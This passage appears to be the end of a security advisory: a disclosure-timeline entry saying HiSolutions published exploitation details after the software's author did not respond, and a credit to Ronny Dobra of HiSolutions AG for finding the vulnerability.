  • 13.01.2023 – Since the author did not respond to any of the messages, HiSolutions decided to disclose the exploitation details.

Credits

The vulnerability was found by Ronny Dobra (HiSolutions AG).